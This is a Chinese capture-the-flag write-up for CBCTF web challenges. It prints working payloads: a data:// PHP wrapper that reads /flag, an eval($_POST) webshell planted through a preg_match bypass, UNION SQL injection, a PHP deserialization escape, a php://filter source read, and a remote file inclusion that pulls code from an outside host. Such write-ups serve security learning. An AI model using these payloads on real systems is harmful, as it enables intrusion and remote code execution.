CBCTF WP

发布于 2021-01-08  499 次阅读


0rays的招新赛,题目很友好,下次还来

web部分

1.whiskey house2.0

题目地址:http://121.4.46.58:10001/index.php

?action=about.php 想到是用php伪协议读flag,因为有waf限制所以决定用data://text/plain;base64,PD9waHAgdmFyX2R1bXAoZmlsZV9nZXRfY29udGVudHMoJy9mbGFnJykpOyA/Pg== 来读。将var_dump(file_get_contents(‘/flag’)) base64编码后绕过waf读取flag

最终payload:http://121.4.46.58:10001/index.php?action=data://text/plain;base64,PD9waHAgdmFyX2R1bXAoZmlsZV9nZXRfY29udGVudHMoJy9mbGFnJykpOyA/Pg==

2.[真]·铜墙·[超凡]·铁壁

先是扫了下二维码发现是无效网址。账号登陆框也点不进去。

Html代码审了一下用户名和密码分别为un和pd,提交方式为post,于是开始自己尝试用bp发送post请求,然后弱口令爆破后发现用户名是admin密码是0。

在返回的报文的最下面发现flag。

3.web_sign_in

题目地址: http://123.57.145.88:10002

代码审计后发现get方式请求,preg_match函数检测过滤。最终将输入写入文件。可以利用上传数组达到preg_match的绕过。

Payload: ">http://123.57.145.88:10002/?source[]=<?php eval($_POST[‘a’]); ?>

上传成功,木马存放在网页显示的路径之中。使用菜刀连接,直接cat /flag。

4.御坂御坂

扫描后发现index.php.bak。打开后base64解码

得到网址/inject/for_the_first_step_to_inject_me.php?id=1

尝试进入

根据所给的url判断为sql注入。

尝试联合注入:http://81.70.167.219:8008/inject/for_the_first_step_to_inject_me.php?id=0'union select 1,2 --+

找到回显位,开始爆库

获得账号密码后尝试登录之前在robots.txt发现的后台。

成功登录后查看页面源代码

最下面发现新的url,点击后进入。

是php反序列化逃逸。wendell会替换get得到的字符串中的host。计算后利用长度差使得后面的字符串逃逸。最终构造出 hosthosthosthosthosthosthosthosthosthosthost";s:8:"password";s:7:"whiskey";}1

最终payload:http://81.70.167.219:8008/serialize_me_to_get_the_second_step.php?1=hosthosthosthosthosthosthosthosthosthosthost%22;s:8:%22password%22;s:7:%22whiskey%22;}1

成功后得到新的url,进入后

根据页面提示猜测源码使用了include()函数,尝试了一下?action=/flag。

成功得到flag。

4.御坂御坂2.0

这道题与上一题的不同之处就在最后?action=处。waf过滤了flag,还有部分php伪协议的关键词。尝试使用php://filter/read=string.rot13/resource=the_last_step_RCE_me_to_get_flag.php

Rot13解码后得到

然后再使用同样方法尝试读取h1int.php

提示是RFI,然后打开攻防世界进阶区的Upload1的题目,再在本地写一个txt文档后上传。

Payload:http://123.57.145.88:8008//the_last_step_RCE_me_to_get_flag.php?action=http://220.249.52.134:38398/upload/1609553075.2027.txt

即可得到flag

其他部分后续随缘更~~~~咕咕咕


业精于勤,荒于嬉;行成于思,毁于随